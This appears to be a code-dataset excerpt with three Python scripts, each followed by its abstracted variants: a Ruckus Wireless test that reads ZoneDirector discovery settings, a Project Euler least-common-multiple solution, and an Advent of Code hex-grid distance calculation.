# Copyright (C) 2011 Ruckus Wireless, Inc. All rights reserved. # Please make sure the following module docstring is accurate since it will be used in report generation. """ Description: @author: Chris Wang @contact: [email protected] @since: Aug-09, 2010 Prerequisite (Assumptions about the state of the test bed/DUT): 1. Build under test is loaded on the Station Required components: 'Station' Test parameters: - zd_tag: zd tag. Will get zd components via zd tag in self.testbed.components. Test procedure: 1. Config: - initialize test parameters 2. Test: - Get limited ZD discovery settings. 3. Cleanup: - N/A Result type: PASS/FAIL Results: PASS: Get limited ZD discovery settings correctly. Messages: If FAIL the test script returns a message related to the criterion that is not satisfied """ import logging from RuckusAutoTest.models import Test from RuckusAutoTest.components.lib.zd import access_points_zd as lib class CB_ZD_Get_Primary_Secondary_ZD(Test): required_components = ['ZoneDirector'] parameters_description = {'zd_tag': "zd tag. Will get zd components via zd tag in self.testbed.components", } ''' Test case for automation. ''' def config(self, conf): self._init_test_params(conf) self._retrive_carrier_bag() def test(self): try: logging.info("Get limited ZD discovery settings via ZD") self.zd_discovery_cfg = lib.get_limited_zd_discovery_cfg(self.zd) logging.info("Limited ZD discovery cfg: %s" % self.zd_discovery_cfg) except Exception, e: self.errmsg = "Fail to get limited ZD discovery: %s" % e.message if self.errmsg: logging.debug(self.errmsg) return self.returnResult("FAIL", self.errmsg) else: self._update_carrier_bag() self.passmsg = "Get limited ZD discovery correctly: %s" % (self.zd_discovery_cfg) return self.returnResult("PASS", self.passmsg) def cleanup(self): pass def _retrive_carrier_bag(self): pass def _update_carrier_bag(self): self.carrierbag['gui_zd_discovery_cfg'] = self.zd_discovery_cfg def _init_test_params(self, conf): self.conf = dict(zd_tag = '') self.conf.update(conf) zd_tag = self.conf.pop('zd_tag') if zd_tag: self.zd = self.carrierbag[zd_tag] else: self.zd = self.testbed.components['ZoneDirector'] self.errmsg = '' self.passmsg = ''
[ "# Copyright (C) 2011 Ruckus Wireless, Inc. All rights reserved.\n# Please make sure the following module docstring is accurate since it will be used in report generation.\n\n\"\"\"\n Description: \n @author: Chris Wang\n @contact: [email protected]\n @since: Aug-09, 2010\n\n Prerequisite (Assumptions about the state of the test bed/DUT):\n 1. Build under test is loaded on the Station\n\n Required components: 'Station'\n Test parameters:\n - zd_tag: zd tag. Will get zd components via zd tag in self.testbed.components.\n \n Test procedure:\n 1. Config:\n - initialize test parameters \n 2. Test:\n - Get limited ZD discovery settings.\n 3. Cleanup:\n - N/A\n \n Result type: PASS/FAIL\n Results: PASS: Get limited ZD discovery settings correctly.\n\n Messages: If FAIL the test script returns a message related to the criterion that is not satisfied\n\"\"\"\nimport logging\n\nfrom RuckusAutoTest.models import Test\nfrom RuckusAutoTest.components.lib.zd import access_points_zd as lib \n\nclass CB_ZD_Get_Primary_Secondary_ZD(Test):\n required_components = ['ZoneDirector']\n parameters_description = {'zd_tag': \"zd tag. Will get zd components via zd tag in self.testbed.components\",\n }\n \n '''\n Test case for automation.\n '''\n def config(self, conf):\n self._init_test_params(conf)\n self._retrive_carrier_bag()\n \n def test(self):\n try:\n logging.info(\"Get limited ZD discovery settings via ZD\")\n self.zd_discovery_cfg = lib.get_limited_zd_discovery_cfg(self.zd)\n logging.info(\"Limited ZD discovery cfg: %s\" % self.zd_discovery_cfg)\n except Exception, e:\n self.errmsg = \"Fail to get limited ZD discovery: %s\" % e.message\n \n if self.errmsg:\n logging.debug(self.errmsg)\n return self.returnResult(\"FAIL\", self.errmsg)\n else:\n self._update_carrier_bag()\n self.passmsg = \"Get limited ZD discovery correctly: %s\" % (self.zd_discovery_cfg)\n return self.returnResult(\"PASS\", self.passmsg)\n \n def cleanup(self):\n pass\n \n def _retrive_carrier_bag(self):\n pass\n \n def _update_carrier_bag(self):\n self.carrierbag['gui_zd_discovery_cfg'] = self.zd_discovery_cfg\n \n def _init_test_params(self, conf):\n self.conf = dict(zd_tag = '')\n self.conf.update(conf)\n \n zd_tag = self.conf.pop('zd_tag')\n if zd_tag:\n self.zd = self.carrierbag[zd_tag]\n else:\n self.zd = self.testbed.components['ZoneDirector']\n \n self.errmsg = ''\n self.passmsg = ''" ]
true
9,998
0f0ded26e115b954a5ef698b03271ddf2b947334
''' PROBLEM N. 5: 2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder. What is the smallest positive number that is evenly divisible by all of the numbers from 1 to 20? ''' ''' Greatest common divisior using the Euclidean Algorithm, vide http://en.wikipedia.org/wiki/Euclidean_algorithm ''' def gcd(a, b): if a == b: return a if a == 0: return b if b == 0: return a if a > b: remainder = a%b return gcd(remainder, b) if b > a: remainder = b%a return gcd(remainder, a) ''' Lowest common denominator, using: lcd(a,b) = |a*b|/gcd(a,b) ''' def lcd(a, b): return a*b/gcd(a,b) print reduce(lcd, range(1,21))
[ "'''\nPROBLEM N. 5:\n2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder.\n\nWhat is the smallest positive number that is evenly divisible by all of the numbers from 1 to 20?\n'''\n\n'''\nGreatest common divisior using the Euclidean Algorithm, vide http://en.wikipedia.org/wiki/Euclidean_algorithm\n'''\ndef gcd(a, b):\n\tif a == b:\n\t\treturn a\n\tif a == 0:\n\t\treturn b\n\tif b == 0:\n\t\treturn a\n\tif a > b:\n\t\tremainder = a%b\n\t\treturn gcd(remainder, b)\n\tif b > a:\n\t\tremainder = b%a\n\t\treturn gcd(remainder, a)\n\n\n'''\nLowest common denominator, using: \nlcd(a,b) = |a*b|/gcd(a,b)\n'''\ndef lcd(a, b):\n\treturn a*b/gcd(a,b)\n\nprint reduce(lcd, range(1,21))" ]
true
9,999
ac2e9145e3345e5448683d684b69d2356e3214ce
from collections import defaultdict # The order of the steps doesn't matter, so the distance # function is very simple def dist(counts): n = abs(counts["n"] - counts["s"]) nw = abs(counts["nw"] - counts["se"]) ne = abs(counts["ne"] - counts["sw"]) return n + max(ne,nw) if __name__ == "__main__": counts = defaultdict(int) with open("day11.input.txt") as f: INPUT = f.read().strip() dir_list = INPUT.split(",") # The order of the steps doesn't matter so we just need # to count each type of step for dir in dir_list: counts[dir] += 1 print(dist(counts)) counts = defaultdict(int) with open("day11.input.txt") as f: INPUT = f.read().strip() dir_list = INPUT.split(",") # print(dir_list) max_d = -1 for dir in dir_list: # Keep running counts and check for distance at every # step to find max counts[dir] += 1 max_d = max(max_d,dist(counts)) print("max=", max_d)
[ "from collections import defaultdict\n\n# The order of the steps doesn't matter, so the distance\n# function is very simple\ndef dist(counts):\n n = abs(counts[\"n\"] - counts[\"s\"])\n nw = abs(counts[\"nw\"] - counts[\"se\"])\n ne = abs(counts[\"ne\"] - counts[\"sw\"])\n return n + max(ne,nw)\n\nif __name__ == \"__main__\":\n counts = defaultdict(int)\n with open(\"day11.input.txt\") as f:\n INPUT = f.read().strip()\n dir_list = INPUT.split(\",\")\n # The order of the steps doesn't matter so we just need\n # to count each type of step\n for dir in dir_list:\n counts[dir] += 1\n\n print(dist(counts))\n\n counts = defaultdict(int)\n with open(\"day11.input.txt\") as f:\n INPUT = f.read().strip()\n dir_list = INPUT.split(\",\")\n # print(dir_list)\n max_d = -1\n for dir in dir_list:\n # Keep running counts and check for distance at every\n # step to find max\n counts[dir] += 1\n max_d = max(max_d,dist(counts))\n print(\"max=\", max_d)\n \n", "from collections import defaultdict\n\n\ndef dist(counts):\n n = abs(counts['n'] - counts['s'])\n nw = abs(counts['nw'] - counts['se'])\n ne = abs(counts['ne'] - counts['sw'])\n return n + max(ne, nw)\n\n\nif __name__ == '__main__':\n counts = defaultdict(int)\n with open('day11.input.txt') as f:\n INPUT = f.read().strip()\n dir_list = INPUT.split(',')\n for dir in dir_list:\n counts[dir] += 1\n print(dist(counts))\n counts = defaultdict(int)\n with open('day11.input.txt') as f:\n INPUT = f.read().strip()\n dir_list = INPUT.split(',')\n max_d = -1\n for dir in dir_list:\n counts[dir] += 1\n max_d = max(max_d, dist(counts))\n print('max=', max_d)\n", "<import token>\n\n\ndef dist(counts):\n n = abs(counts['n'] - counts['s'])\n nw = abs(counts['nw'] - counts['se'])\n ne = abs(counts['ne'] - counts['sw'])\n return n + max(ne, nw)\n\n\nif __name__ == '__main__':\n counts = defaultdict(int)\n with open('day11.input.txt') as f:\n INPUT = f.read().strip()\n dir_list = INPUT.split(',')\n for dir in dir_list:\n counts[dir] += 1\n print(dist(counts))\n counts = defaultdict(int)\n with open('day11.input.txt') as f:\n INPUT = f.read().strip()\n dir_list = INPUT.split(',')\n max_d = -1\n for dir in dir_list:\n counts[dir] += 1\n max_d = max(max_d, dist(counts))\n print('max=', max_d)\n", "<import token>\n\n\ndef dist(counts):\n n = abs(counts['n'] - counts['s'])\n nw = abs(counts['nw'] - counts['se'])\n ne = abs(counts['ne'] - counts['sw'])\n return n + max(ne, nw)\n\n\n<code token>\n", "<import token>\n<function token>\n<code token>\n" ]
false